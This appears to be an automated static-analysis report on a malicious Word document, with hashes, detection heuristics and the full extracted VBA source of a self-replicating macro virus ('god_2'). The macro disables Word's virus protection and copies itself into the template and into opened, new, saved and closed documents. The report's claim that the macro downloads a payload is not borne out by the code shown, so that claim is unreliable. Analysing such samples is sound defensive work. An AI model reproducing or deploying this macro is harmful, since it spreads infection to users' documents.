Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 76ad83206ece874d…

MALICIOUS

Office (OLE)

47.0 KB Created: 2001-06-19 03:59:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: daabd1b76ba668913dd46c6f66f6606f SHA-1: eec863eb163b3377d1cae6a9ba482276f6ae4e95 SHA-256: 76ad83206ece874d302dcfc14b69a8b201eec703fec76788b5e4d67d2a528fd1
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Microsoft Word document containing VBA macros, specifically an AutoOpen macro, which is a common technique for initial execution. The ClamAV detection names 'Doc.Trojan.Apostate-1' and 'Win.Trojan.C-286' strongly indicate malicious intent. The VBA script's AutoOpen subroutine likely attempts to download and execute a secondary payload, although the exact mechanism is obfuscated.

Heuristics 4

  • ClamAV: Doc.Trojan.Apostate-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Apostate-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3925 bytes
SHA-256: c4c8c756a4d790f0456c2c5c38ee83e681b39ec52164f55e1e6bed1bfe357224
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_New()

End Sub

Attribute VB_Name = "god_2"
Public n1$
Sub autoexec()
virus
mine
End Sub
Sub AutoOpen()
Call main
Call virus
End Sub
Sub main()
n$ = ActiveDocument.FullName
d$ = ActiveDocument.AttachedTemplate.Path
nor$ = ActiveDocument.AttachedTemplate.Name
m$ = d$ & "\" & nor$
On Error Resume Next
For Each n2 In Application.VBE.VBProjects
    For Each m1 In n2.VBComponents
       
       nam = m1.Name
       typ = m1.Type
        If nam = "god_2" Or typ = 100 Or nam = "hh" Then
            Else
            Application.OrganizerDelete Source:=m$, _
            Name:=nam, Object:=wdOrganizerObjectProjectItems

        End If
Next m1, n2
Application.OrganizerCopy Source:= _
     n$, Destination:= _
        m$, Name:= _
        "god_2", Object:=wdOrganizerObjectProjectItems

End Sub
Sub FileOpen()
On Error Resume Next
d$ = ActiveDocument.AttachedTemplate.Path
nor$ = ActiveDocument.AttachedTemplate.Name
m$ = d$ & "\" & nor$
open1 = Dialogs(wdDialogFileOpen).Show

If open1 = -1 Then
n1$ = ActiveDocument.FullName
    nm
    Application.OrganizerCopy Source:= _
    m$, Destination:= _
        n1$, Name:= _
        "god_2", Object:=wdOrganizerObjectProjectItems
End If
Call main

End Sub

Sub FileNew()
On Error Resume Next
d$ = ActiveDocument.AttachedTemplate.Path
nor$ = ActiveDocument.AttachedTemplate.Name
m$ = d$ & "\" & nor$
new1 = Dialogs(wdDialogFileNew).Show
If new1 = -1 Then
   n1$ = ActiveDocument.FullName
    nm
    Application.OrganizerCopy Source:= _
     m$, Destination:= _
        n1$, Name:= _
        "god_2", Object:=wdOrganizerObjectProjectItems
End If
Call main

End Sub
Sub FileNewDefault()
Documents.Add
d$ = ActiveDocument.AttachedTemplate.Path
nor$ = ActiveDocument.AttachedTemplate.Name
m$ = d$ & "\" & nor$
On Error Resume Next
   n1$ = ActiveDocument.FullName
    nm
    Application.OrganizerCopy Source:= _
     m$, Destination:= _
        n1$, Name:= _
        "god_2", Object:=wdOrganizerObjectProjectItems
Call main

End Sub
Sub FileClose()
d$ = ActiveDocument.AttachedTemplate.Path
nor$ = ActiveDocument.AttachedTemplate.Name
m$ = d$ & "\" & nor$
    On Error Resume Next
   n1$ = ActiveDocument.FullName
    nm
    Application.OrganizerCopy Source:= _
     m$, Destination:= _
        n1$, Name:= _
        "god_2", Object:=wdOrganizerObjectProjectItems
Call main
    WordBasic.FileClose
End Sub
Sub FileSave()
    d$ = ActiveDocument.AttachedTemplate.Path
    nor$ = ActiveDocument.AttachedTemplate.Name
    m$ = d$ & "\" & nor$
On Error Resume Next
   n1$ = ActiveDocument.FullName
    nm
    Application.OrganizerCopy Source:= _
     m$, Destination:= _
        n1$, Name:= _
        "god_2", Object:=wdOrganizerObjectProjectItems
Call main

ActiveDocument.Save
End Sub

Sub mine()

a = Date
If Month(a) = 12 And Day(a) = 23 Then
   MsgBox "今天是我的生日，大家放假吧！", , "God"
   Application.Quit
ElseIf Month(a) = 3 And Day(a) = 4 Then
    MsgBox "祝你生日快乐，不管你在哪儿。", , "God"
Else
    MsgBox "你还好吗？", , "God"
End If
 End Sub
Sub virus()
    With Options
        
        .VirusProtection = False
     
    End With
    
End Sub
Sub nm()
For Each n2 In Application.VBE.VBProjects
 For Each m1 In n2.VBComponents
      nam = m1.Name
        typ = m1.Type
        If nam = "god_2" Or typ = 100 Or nam = "hh" Then
            Else
            Application.OrganizerDelete Source:=n1$, _
            Name:=nam, Object:=wdOrganizerObjectProjectItems

        End If
Next m1, n2
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.